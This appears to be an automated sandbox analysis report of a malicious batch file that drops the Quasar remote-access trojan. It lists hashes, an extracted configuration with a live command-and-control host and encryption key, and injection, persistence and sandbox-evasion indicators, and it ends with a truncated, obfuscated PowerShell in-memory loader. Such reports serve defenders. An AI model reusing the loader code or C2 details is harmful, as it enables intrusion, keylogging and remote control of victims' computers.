Analysis
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max time kernel
1800s -
max time network
1791s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
08-05-2024 17:16
Static task
static1
Behavioral task
behavioral1
Sample
Uni.bat
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
Uni.bat
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
Uni.bat
Resource
win10v2004-20240508-en
General
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Target
Uni.bat
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Size
670KB
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MD5
6a80458e28d1386f08bbd333e223ec19
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SHA1
77ab8b6fa59cc618bf4a5e7f52ffcd8f5c9656a8
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SHA256
8711245a4e790f4e757f4657e0edd3ff36cd767293e60b56d8e8501bca9c8a3d
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SHA512
e6db2882538d6b563aaeb8df1831ea8c90dd37242fe686e9ab0b80f9c397bdfdf3596b28b036ac9308c456257e7a3cc607657c4e98853647e85d23f8b1588d81
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SSDEEP
12288:3X+4dH3qy2pEKjy2YkbOtscQeH8XDYTDL832UtYnUg3:H+4dH3enjy2ZbOzTceUq
Malware Config
Extracted
quasar
3.1.5
SLAVE
even-lemon.gl.at.ply.gg:33587
$Sxr-dOMA5C0pQTTpKjVsCp
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encryption_key
UBXs44u6E81wxBGZxQHk
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install_name
$sxr-powershell.exe
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log_directory
$SXR-KEYLOGS
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reconnect_delay
3000
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startup_key
$sxr-powershell
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subdirectory
$sxr-seroxen2
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\x.exe family_quasar behavioral2/memory/1600-7986-0x00000000002B0000-0x000000000031C000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 436 created 584 436 powershell.EXE winlogon.exe PID 2748 created 584 2748 powershell.EXE winlogon.exe -
Downloads MZ/PE file
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 4 IoCs
Processes:
x.exe$sxr-powershell.exeinstall.exeinstall.exepid process 1600 x.exe 3008 $sxr-powershell.exe 3576 install.exe 2240 install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 7 raw.githubusercontent.com 11 raw.githubusercontent.com 6 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 2 ip-api.com -
Drops file in System32 directory 15 IoCs
Processes:
svchost.exepowershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 436 set thread context of 4328 436 powershell.EXE dllhost.exe PID 2748 set thread context of 1088 2748 powershell.EXE dllhost.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exepid process 912 schtasks.exe 812 SCHTASKS.exe 2944 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEOfficeClickToRun.exepowershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715189321" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={447BF857-54C7-402E-9358-1A2490BB118D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEpowershell.EXEdllhost.exe$sxr-powershell.exedllhost.exewmiprvse.exepid process 436 powershell.EXE 436 powershell.EXE 436 powershell.EXE 2748 powershell.EXE 2748 powershell.EXE 436 powershell.EXE 2748 powershell.EXE 4328 dllhost.exe 4328 dllhost.exe 4328 dllhost.exe 4328 dllhost.exe 3008 $sxr-powershell.exe 4328 dllhost.exe 4328 dllhost.exe 4328 dllhost.exe 4328 dllhost.exe 4328 dllhost.exe 4328 dllhost.exe 2748 powershell.EXE 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 4212 wmiprvse.exe 3008 $sxr-powershell.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 3008 $sxr-powershell.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
x.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exesvchost.exedescription pid process Token: SeDebugPrivilege 1600 x.exe Token: SeDebugPrivilege 3008 $sxr-powershell.exe Token: SeDebugPrivilege 436 powershell.EXE Token: SeDebugPrivilege 2748 powershell.EXE Token: SeDebugPrivilege 436 powershell.EXE Token: SeDebugPrivilege 4328 dllhost.exe Token: SeDebugPrivilege 2748 powershell.EXE Token: SeDebugPrivilege 1088 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2100 svchost.exe Token: SeIncreaseQuotaPrivilege 2100 svchost.exe Token: SeSecurityPrivilege 2100 svchost.exe Token: SeTakeOwnershipPrivilege 2100 svchost.exe Token: SeLoadDriverPrivilege 2100 svchost.exe Token: SeSystemtimePrivilege 2100 svchost.exe Token: SeBackupPrivilege 2100 svchost.exe Token: SeRestorePrivilege 2100 svchost.exe Token: SeShutdownPrivilege 2100 svchost.exe Token: SeSystemEnvironmentPrivilege 2100 svchost.exe Token: SeUndockPrivilege 2100 svchost.exe Token: SeManageVolumePrivilege 2100 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2100 svchost.exe Token: SeIncreaseQuotaPrivilege 2100 svchost.exe Token: SeSecurityPrivilege 2100 svchost.exe Token: SeTakeOwnershipPrivilege 2100 svchost.exe Token: SeLoadDriverPrivilege 2100 svchost.exe Token: SeSystemtimePrivilege 2100 svchost.exe Token: SeBackupPrivilege 2100 svchost.exe Token: SeRestorePrivilege 2100 svchost.exe Token: SeShutdownPrivilege 2100 svchost.exe Token: SeSystemEnvironmentPrivilege 2100 svchost.exe Token: SeUndockPrivilege 2100 svchost.exe Token: SeManageVolumePrivilege 2100 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2100 svchost.exe Token: SeIncreaseQuotaPrivilege 2100 svchost.exe Token: SeSecurityPrivilege 2100 svchost.exe Token: SeTakeOwnershipPrivilege 2100 svchost.exe Token: SeLoadDriverPrivilege 2100 svchost.exe Token: SeSystemtimePrivilege 2100 svchost.exe Token: SeBackupPrivilege 2100 svchost.exe Token: SeRestorePrivilege 2100 svchost.exe Token: SeShutdownPrivilege 2100 svchost.exe Token: SeSystemEnvironmentPrivilege 2100 svchost.exe Token: SeUndockPrivilege 2100 svchost.exe Token: SeManageVolumePrivilege 2100 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2100 svchost.exe Token: SeIncreaseQuotaPrivilege 2100 svchost.exe Token: SeSecurityPrivilege 2100 svchost.exe Token: SeTakeOwnershipPrivilege 2100 svchost.exe Token: SeLoadDriverPrivilege 2100 svchost.exe Token: SeSystemtimePrivilege 2100 svchost.exe Token: SeBackupPrivilege 2100 svchost.exe Token: SeRestorePrivilege 2100 svchost.exe Token: SeShutdownPrivilege 2100 svchost.exe Token: SeSystemEnvironmentPrivilege 2100 svchost.exe Token: SeUndockPrivilege 2100 svchost.exe Token: SeManageVolumePrivilege 2100 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2100 svchost.exe Token: SeIncreaseQuotaPrivilege 2100 svchost.exe Token: SeSecurityPrivilege 2100 svchost.exe Token: SeTakeOwnershipPrivilege 2100 svchost.exe Token: SeLoadDriverPrivilege 2100 svchost.exe Token: SeSystemtimePrivilege 2100 svchost.exe Token: SeBackupPrivilege 2100 svchost.exe Token: SeRestorePrivilege 2100 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 3008 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exex.exe$sxr-powershell.exepowershell.EXEdllhost.exedescription pid process target process PID 4772 wrote to memory of 4596 4772 cmd.exe findstr.exe PID 4772 wrote to memory of 4596 4772 cmd.exe findstr.exe PID 4772 wrote to memory of 2648 4772 cmd.exe cscript.exe PID 4772 wrote to memory of 2648 4772 cmd.exe cscript.exe PID 4772 wrote to memory of 1600 4772 cmd.exe x.exe PID 4772 wrote to memory of 1600 4772 cmd.exe x.exe PID 4772 wrote to memory of 1600 4772 cmd.exe x.exe PID 1600 wrote to memory of 912 1600 x.exe schtasks.exe PID 1600 wrote to memory of 912 1600 x.exe schtasks.exe PID 1600 wrote to memory of 912 1600 x.exe schtasks.exe PID 1600 wrote to memory of 3008 1600 x.exe $sxr-powershell.exe PID 1600 wrote to memory of 3008 1600 x.exe $sxr-powershell.exe PID 1600 wrote to memory of 3008 1600 x.exe $sxr-powershell.exe PID 1600 wrote to memory of 3576 1600 x.exe install.exe PID 1600 wrote to memory of 3576 1600 x.exe install.exe PID 1600 wrote to memory of 3576 1600 x.exe install.exe PID 1600 wrote to memory of 812 1600 x.exe SCHTASKS.exe PID 1600 wrote to memory of 812 1600 x.exe SCHTASKS.exe PID 1600 wrote to memory of 812 1600 x.exe SCHTASKS.exe PID 3008 wrote to memory of 2944 3008 $sxr-powershell.exe schtasks.exe PID 3008 wrote to memory of 2944 3008 $sxr-powershell.exe schtasks.exe PID 3008 wrote to memory of 2944 3008 $sxr-powershell.exe schtasks.exe PID 3008 wrote to memory of 2240 3008 $sxr-powershell.exe install.exe PID 3008 wrote to memory of 2240 3008 $sxr-powershell.exe install.exe PID 3008 wrote to memory of 2240 3008 $sxr-powershell.exe install.exe PID 436 wrote to memory of 4328 436 powershell.EXE dllhost.exe PID 436 wrote to memory of 4328 436 powershell.EXE dllhost.exe PID 436 wrote to memory of 4328 436 powershell.EXE dllhost.exe PID 436 wrote to memory of 4328 436 powershell.EXE dllhost.exe PID 436 wrote to memory of 4328 436 powershell.EXE dllhost.exe PID 436 wrote to memory of 4328 436 powershell.EXE dllhost.exe PID 436 wrote to memory of 4328 436 powershell.EXE dllhost.exe PID 436 wrote to memory of 4328 436 powershell.EXE dllhost.exe PID 4328 wrote to memory of 584 4328 dllhost.exe winlogon.exe PID 4328 wrote to memory of 640 4328 dllhost.exe lsass.exe PID 4328 wrote to memory of 740 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 900 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1008 4328 dllhost.exe dwm.exe PID 4328 wrote to memory of 440 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 380 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 832 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1056 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1064 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1212 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1224 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1264 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1308 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1388 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1452 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1468 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1520 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1568 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1576 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1684 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1708 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1800 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1808 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1860 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1920 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 1748 4328 dllhost.exe spoolsv.exe PID 4328 wrote to memory of 2100 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 2144 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 2348 4328 dllhost.exe svchost.exe PID 4328 wrote to memory of 2364 4328 dllhost.exe svchost.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:584
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1008
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9dfd7cb8-67a0-45e3-9f1d-df43161f88de}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4328
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4f90bf2c-a43b-4b20-b03e-407d6e2358aa}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1088
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:640
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵PID:740
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵PID:900
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵PID:440
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:380
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵PID:832
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c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵PID:1056
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c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2236
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wTFGeKLwCGwp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gHqrRMcySsftKx,[Parameter(Position=1)][Type]$VawovCrSBq)$XTtmyckxsML=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+[Char](108)+''+'e'+''+[Char](99)+''+'t'+'ed'+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+'mo'+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+'el'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+',A'+[Char](117)+''+'t'+'o'+'C'+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$XTtmyckxsML.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+'a'+''+'l'+''+'N'+''+[Char](97)+''+'m'+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gHqrRMcySsftKx).SetImplementationFlags(''+[Char](82)+'u'+'n'+'t'+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$XTtmyckxsML.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+'e','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+'eB'+[Char](121)+'S'+'i'+'g,'+'N'+''+[Char](101)+'wS'+'l'+''+'o'+''+[Char](116)+''+','+''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+'l',$VawovCrSBq,$gHqrRMcySsftKx).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'ti'+'m'+'e'+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $XTtmyckxsML.CreateType();}$nQiVzsIuKNPrp=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+'d'+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+'s'+'o'+[Char](102)+'t'+'.'+''+'W'+''+'i'+''+'n'+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'fe'+'N'+''+[Char](97)+''+'t'+'iv'+'e'+''+[Char](77)+''+[Char](101)+''+'t'+''+'h'+'od'+'s'+'');$EsHoDxImuHnGnL=$nQiVzsIuKNPrp.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+'r'+[Char](111)+''+'c'+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+'ub'+[Char](108)+'ic,'+[Char](83)+''+[Char](116)+'ati'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CFvKdRzLIMZdfooNbwq=wTFGeKLwCGwp 